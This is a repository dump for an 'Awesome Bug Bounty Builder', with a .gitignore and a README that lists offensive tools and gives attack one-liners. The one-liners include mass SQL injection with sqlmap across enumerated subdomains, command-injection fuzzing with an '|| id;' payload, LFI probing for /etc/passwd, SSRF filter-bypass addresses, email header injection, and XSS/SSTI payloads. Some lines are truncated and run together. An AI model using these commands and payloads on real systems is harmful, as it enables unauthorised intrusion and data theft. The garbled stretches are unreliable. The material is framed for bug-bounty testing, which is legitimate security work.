├── .gitignore ├── README.md ├── awesome-bugbounty-build.sh └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | # http://www.gnu.org/software/automake 2 | 3 | Makefile.in 4 | /ar-lib 5 | /mdate-sh 6 | /py-compile 7 | /test-driver 8 | /ylwrap 9 | 10 | # http://www.gnu.org/software/autoconf 11 | 12 | autom4te.cache 13 | /autoscan.log 14 | /autoscan-*.log 15 | /aclocal.m4 16 | /compile 17 | /config.guess 18 | /config.h.in 19 | /config.log 20 | /config.status 21 | /config.sub 22 | /configure 23 | /configure.scan 24 | /depcomp 25 | /install-sh 26 | /missing 27 | /stamp-h1 28 | 29 | # https://www.gnu.org/software/libtool/ 30 | 31 | /ltmain.sh 32 | 33 | # http://www.gnu.org/software/texinfo 34 | 35 | /texinfo.tex 36 | 37 | # http://www.gnu.org/software/m4/ 38 | 39 | m4/libtool.m4 40 | m4/ltoptions.m4 41 | m4/ltsugar.m4 42 | m4/ltversion.m4 43 | m4/lt~obsolete.m4 44 | 45 | # Generated Makefile 46 | # (meta build system like autotools, 47 | # can automatically generate from config.status script 48 | # (which is called by configure script)) 49 | Makefile 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Awesome Bug Bounty Builder 2 | 3 | [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/0xJin/awesome-bugbounty-builder/issues) 4 | 5 | 6 | Awesome Bug bounty builder Project - ALL common Tools for find your Vulnerabilities. 7 | 8 | **Tested on Debian.** 9 | 10 | 11 | ![bb](https://user-images.githubusercontent.com/81621963/147457586-79ac41eb-f995-455b-a144-f80a5783047a.PNG) 12 | 13 | 14 | --- 15 | 16 | ### Installation 17 | 18 | ``` 19 | $ git clone https://github.com/0xJin/awesome-bugbounty-builder.git 20 | $ cd awesome-bugbounty-builder/ 21 | $ chmod +x awesome-bugbounty-builder.sh 22 | $ ./awesome-bugbounty-builder.sh 23 | ``` 24 | 25 | 26 | ### Which tools You will find here 27 | 28 | ``` 29 | Amass 30 | Sublister 31 | Gauplus 32 | httpx 33 | gf + patterns 34 | kxss 35 | sqlmap 36 | commix 37 | tplmap 38 | hydra 39 | john the ripper 40 | evilwinrm 41 | Arjun 42 | Paramspider 43 | NoSQLmap 44 | NMAP 45 | nikto 46 | FFUF 47 | 403-Bypass 48 | Gobuster 49 | Seclists 50 | Hash-identifier 51 | XSSMAP 52 | Smuggler 53 | SSRFmap 54 | gmapsapiscanner 55 | qsreplace 56 | exiftool 57 | XSRFProbe 58 | XXE Exploiter 59 | ``` 60 | 61 | 62 | --- 63 | 64 | 65 | ### Bug Bounty TIPS and Usage of tools + One Liner TIPS 66 | 67 | 68 | # ONE-LINER *RECON* for FUZZ XSS 69 | 70 | ``` 71 | $ amass enum -brute -passive -d example.com | httpx -silent -status-code | tee domain.txt 72 | $ cat domain.txt | gauplus -random-agent -t 200 | gf xss | kxss | tee domain2.txt 73 | ``` 74 | 75 | --- 76 | 77 | 78 | # FUZZ all SUBDOMAINS with *FUFF* ONE-LINER 79 | 80 | ``` 81 | $ amass enum -brute -passive -d http://example.com | sed 's#*.# #g' | httpx -silent -threads 10 | xargs -I@ sh -c 'ffuf -w wordlist.txt -u @/FUZZ -mc 200' 82 | ``` 83 | 84 | --- 85 | 86 | 87 | # COMMAND Injection with *FUFF* ONE-LINER 88 | 89 | ``` 90 | $ cat subdomains.txt | httpx -silent -status-code | gauplus -random-agent -t 200 | qsreplace “aaa%20%7C%7C%20id%3B%20x” > fuzzing.txt 91 | $ ffuf -ac -u FUZZ -w fuzzing.txt -replay-proxy 127.0.0.1:8080 92 | // search for ”uid” in burp proxy intercept 93 | // You can use the same query for search SSTI in qsreplase add "{{7*7}}" and search on burp for '49' 94 | ``` 95 | 96 | 97 | --- 98 | 99 | 100 | # SQL Injection Tips 101 | 102 | ``` 103 | // MASS SQL injection 104 | $ amass enum -brute -passive -d example.com | httpx -silent -status-code | tee domain.txt 105 | $ cat domain.txt | gauplus -random-agent -t 200 | gf sqli | tee domain2.txt 106 | $ sqlmap -m domain2.txt -dbs --batch --random-agent 107 | // SQL Injection headers: 108 | $ sqlmap -u "http://redacted.com" --header="X-Forwarded-For: 1*" --dbs --batch --random-agent --threads=10 109 | // SQL Injection bypass 401 110 | $ sqlmap -u "http://redacted.com" --dbs --batch --random-agent --forms --ignore-code=401 111 | ``` 112 | 113 | --- 114 | 115 | 116 | # XSS + SQLi + CSTI/SSTI 117 | 118 | ``` 119 | Payload: '">{{7*7}} 120 | ``` 121 | 122 | 123 | --- 124 | 125 | 126 | # EXIFTOOL + file UPLOAD Tips 127 | 128 | ``` 129 | $ exiftool -Comment="&1 | grep -q "Location: $LHOST" && echo "VULN! %"' 159 | ``` 160 | 161 | 162 | --- 163 | 164 | 165 | # LFI ONE-LINER 166 | 167 | ``` 168 | $ gauplus -random-agent -t 200 http://redacted.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"' 169 | ``` 170 | 171 | 172 | --- 173 | 174 | 175 | # Best SSRF Bypass 176 | 177 | ``` 178 | http://127.1/ 179 | http://0000::1:80/ 180 | http://[::]:80/ 181 | http://2130706433/ 182 | http://whitelisted@127.0.0.1 183 | http://0x7f000001/ 184 | http://017700000001 185 | http://0177.00.00.01 186 | ``` 187 | 188 | 189 | --- 190 | 191 | 192 | # Email Header Injection 193 | 194 | ``` 195 | $ "%0d%0aContent-Length:%200%0d%0a%0d%0a"@example 196 | .com 197 | $ "recipient@test.com>\r\nRCPT TO:.png 209 | ">.png 210 | ">.svg 211 | <